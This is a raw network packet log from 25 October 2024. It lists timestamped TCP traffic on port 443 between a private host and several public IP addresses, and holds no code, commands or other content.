Oct 25, 2024 10:19:39.709443092 CEST	50096	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:39.755343914 CEST	443	50096	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:39.844229937 CEST	443	50096	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:39.844419003 CEST	443	50096	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:39.844490051 CEST	50096	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:39.923058033 CEST	50096	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:39.923094988 CEST	443	50096	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:39.996454000 CEST	50099	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:39.996507883 CEST	443	50099	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:39.996567965 CEST	50099	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:39.997279882 CEST	50099	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:39.997296095 CEST	443	50099	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:40.014714003 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.014854908 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.014952898 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.014991045 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.015023947 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.015073061 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.015157938 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.015304089 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.015366077 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.015377998 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.015532017 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.015620947 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.015671968 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.015683889 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.015902996 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.037296057 CEST	49721	443	192.168.2.6	184.28.90.27
Oct 25, 2024 10:19:40.043282032 CEST	443	49721	184.28.90.27	192.168.2.6
Oct 25, 2024 10:19:40.043344975 CEST	49721	443	192.168.2.6	184.28.90.27
Oct 25, 2024 10:19:40.131917953 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.132113934 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.132170916 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.132215023 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.132381916 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.132437944 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.132452011 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.132582903 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.132628918 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.132638931 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.132792950 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.132852077 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.132860899 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.133022070 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.133070946 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.133080959 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.133230925 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.133249998 CEST	443	50097	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.133306026 CEST	50097	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.160798073 CEST	50100	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:40.160835028 CEST	443	50100	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:40.160912037 CEST	50100	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:40.162708044 CEST	50100	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:40.162720919 CEST	443	50100	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:40.220978975 CEST	50101	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.221036911 CEST	443	50101	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.221209049 CEST	50101	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.221781969 CEST	50101	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.221797943 CEST	443	50101	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.731095076 CEST	443	50099	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:40.731496096 CEST	50099	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:40.731532097 CEST	443	50099	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:40.731905937 CEST	443	50099	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:40.732753038 CEST	50099	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:40.732809067 CEST	443	50099	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:40.733135939 CEST	50099	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:40.733161926 CEST	443	50099	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:40.733319044 CEST	50099	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:40.733347893 CEST	443	50099	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:40.733401060 CEST	50099	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:40.733409882 CEST	443	50099	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:40.766618013 CEST	443	50100	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:40.766980886 CEST	50100	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:40.766997099 CEST	443	50100	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:40.767355919 CEST	443	50100	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:40.767792940 CEST	50100	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:40.767855883 CEST	443	50100	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:40.768105984 CEST	50100	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:40.815329075 CEST	443	50100	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:40.833266020 CEST	443	50101	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.833497047 CEST	50101	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.833538055 CEST	443	50101	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.833920956 CEST	443	50101	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.834243059 CEST	50101	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.834305048 CEST	443	50101	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.834383011 CEST	50101	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.879332066 CEST	443	50101	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.904218912 CEST	443	50100	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:40.904298067 CEST	443	50100	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:40.904340982 CEST	50100	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:40.905304909 CEST	50100	443	192.168.2.6	104.18.94.41
Oct 25, 2024 10:19:40.905328989 CEST	443	50100	104.18.94.41	192.168.2.6
Oct 25, 2024 10:19:40.969480038 CEST	443	50101	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.969553947 CEST	443	50101	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.973232031 CEST	50101	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.974101067 CEST	50101	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:40.974118948 CEST	443	50101	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:40.992533922 CEST	443	50099	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:40.994239092 CEST	443	50099	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:40.997438908 CEST	50099	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:41.001652956 CEST	50099	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:41.001672029 CEST	443	50099	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:41.007759094 CEST	50102	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:41.007800102 CEST	443	50102	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:41.007973909 CEST	50102	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:41.009352922 CEST	50102	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:41.009362936 CEST	443	50102	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:41.085607052 CEST	50103	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:41.085648060 CEST	443	50103	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:41.085958004 CEST	50103	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:41.093935013 CEST	50103	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:41.093962908 CEST	443	50103	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:41.460963011 CEST	49723	443	192.168.2.6	184.28.90.27
Oct 25, 2024 10:19:41.467231035 CEST	443	49723	184.28.90.27	192.168.2.6
Oct 25, 2024 10:19:41.469638109 CEST	49723	443	192.168.2.6	184.28.90.27
Oct 25, 2024 10:19:41.968504906 CEST	443	50102	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:41.972750902 CEST	50102	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:41.972778082 CEST	443	50102	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:41.973342896 CEST	443	50103	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:41.973964930 CEST	443	50102	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:41.978301048 CEST	50102	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:41.978475094 CEST	50103	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:41.978490114 CEST	443	50103	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:41.978544950 CEST	443	50102	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:41.978579044 CEST	50102	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:41.978859901 CEST	443	50103	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:41.979156971 CEST	50103	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:41.979212046 CEST	443	50103	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:41.979511023 CEST	50103	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:42.019332886 CEST	443	50102	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:42.020839930 CEST	50102	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:42.022665977 CEST	50106	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:19:42.022778988 CEST	443	50106	142.250.186.100	192.168.2.6
Oct 25, 2024 10:19:42.022892952 CEST	50106	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:19:42.023336887 CEST	443	50103	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:42.025101900 CEST	50106	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:19:42.025134087 CEST	443	50106	142.250.186.100	192.168.2.6
Oct 25, 2024 10:19:42.114393950 CEST	443	50103	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:42.114514112 CEST	443	50103	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:42.114631891 CEST	50103	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:42.122886896 CEST	443	50102	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:42.124979973 CEST	443	50102	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:42.125411987 CEST	50102	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:42.423448086 CEST	50103	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:42.423460960 CEST	443	50103	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:42.446511030 CEST	50102	443	192.168.2.6	52.108.9.12
Oct 25, 2024 10:19:42.446537018 CEST	443	50102	52.108.9.12	192.168.2.6
Oct 25, 2024 10:19:42.530658007 CEST	50107	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:42.530745983 CEST	443	50107	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:42.531003952 CEST	50107	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:42.531409979 CEST	50107	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:42.531454086 CEST	443	50107	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:43.912389040 CEST	443	50107	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:43.912842035 CEST	50107	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:43.912903070 CEST	443	50107	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:43.913336992 CEST	443	50107	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:43.914355993 CEST	50107	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:43.914453983 CEST	443	50107	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:43.915128946 CEST	50107	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:43.915641069 CEST	443	50106	142.250.186.100	192.168.2.6
Oct 25, 2024 10:19:43.915893078 CEST	50106	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:19:43.915925026 CEST	443	50106	142.250.186.100	192.168.2.6
Oct 25, 2024 10:19:43.917081118 CEST	443	50106	142.250.186.100	192.168.2.6
Oct 25, 2024 10:19:43.918133974 CEST	50106	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:19:43.918312073 CEST	443	50106	142.250.186.100	192.168.2.6
Oct 25, 2024 10:19:43.959327936 CEST	443	50107	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:44.024158001 CEST	50106	443	192.168.2.6	142.250.186.100
Oct 25, 2024 10:19:44.058763981 CEST	443	50107	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:44.058891058 CEST	443	50107	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:44.060173988 CEST	50107	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:44.128216982 CEST	50107	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:44.128269911 CEST	443	50107	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:44.211081028 CEST	50110	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:44.211133003 CEST	443	50110	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:44.211435080 CEST	50110	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:44.211435080 CEST	50110	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:44.211472988 CEST	443	50110	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:44.822047949 CEST	443	50110	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:44.829891920 CEST	50110	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:44.829921007 CEST	443	50110	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:44.830962896 CEST	443	50110	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:44.831454992 CEST	50110	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:44.831587076 CEST	50110	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:44.831598043 CEST	443	50110	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:44.831614017 CEST	443	50110	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:44.879762888 CEST	50110	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:44.965503931 CEST	443	50110	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:44.965625048 CEST	443	50110	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:44.965735912 CEST	50110	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:45.072329998 CEST	50110	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:45.072352886 CEST	443	50110	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:45.221802950 CEST	50112	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:45.221858025 CEST	443	50112	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:45.222398996 CEST	50112	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:45.222783089 CEST	50112	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:45.222804070 CEST	443	50112	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:45.836680889 CEST	443	50112	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:45.838912964 CEST	50112	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:45.838958979 CEST	443	50112	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:45.839251041 CEST	443	50112	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:45.839576960 CEST	50112	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:45.839637995 CEST	443	50112	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:45.839726925 CEST	50112	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:45.887336016 CEST	443	50112	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:45.975115061 CEST	443	50112	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:45.975243092 CEST	443	50112	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:45.975296021 CEST	50112	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:45.976270914 CEST	50112	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:45.976290941 CEST	443	50112	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.102891922 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.102946997 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.103087902 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.103436947 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.103457928 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.710076094 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.710411072 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.710458040 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.710731983 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.711051941 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.711116076 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.711210966 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.751338005 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.848706961 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.849015951 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.849040985 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.849073887 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.849081993 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.849113941 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.849150896 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.849168062 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.849179983 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.849226952 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.849235058 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.849359989 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.849643946 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.896776915 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.965703964 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.965759993 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.965785980 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.965812922 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.965840101 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.965878963 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.966065884 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.966135979 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.966176033 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.966178894 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.966192961 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.966248989 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.966897964 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.966985941 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.967017889 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.967047930 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.967056036 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.967099905 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.967125893 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.967153072 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.967643976 CEST	50114	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.967665911 CEST	443	50114	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.972029924 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.972070932 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:46.972129107 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.972723961 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:46.972742081 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.586586952 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.589711905 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.589737892 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.590127945 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.591252089 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.591320038 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.591619015 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.639338970 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.723222971 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.723270893 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.723294973 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.723329067 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.723352909 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.723383904 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.723402977 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.723408937 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.723431110 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.723445892 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.723449945 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.723495007 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.723500013 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.723922014 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.723963976 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.723972082 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.765594959 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.840526104 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.840586901 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.840616941 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.840636969 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.840663910 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.840698004 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.840703964 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.840738058 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.840768099 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.840781927 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.840786934 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.840840101 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.841640949 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.841698885 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.841734886 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.841778994 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.841788054 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.841886044 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.842375994 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.842426062 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.842458010 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.842497110 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.842500925 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.842510939 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.842530966 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.843812943 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.843842983 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.843853951 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.843862057 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.843907118 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.843911886 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.892734051 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.957581997 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.957639933 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.957667112 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.957717896 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.957726002 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.957739115 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.957762003 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.957797050 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.957825899 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.957853079 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.957863092 CEST	50115	443	192.168.2.6	104.18.95.41
Oct 25, 2024 10:19:47.957875013 CEST	443	50115	104.18.95.41	192.168.2.6
Oct 25, 2024 10:19:47.957890987 CEST	50115	443	192.168.2.6	104.18.95.41
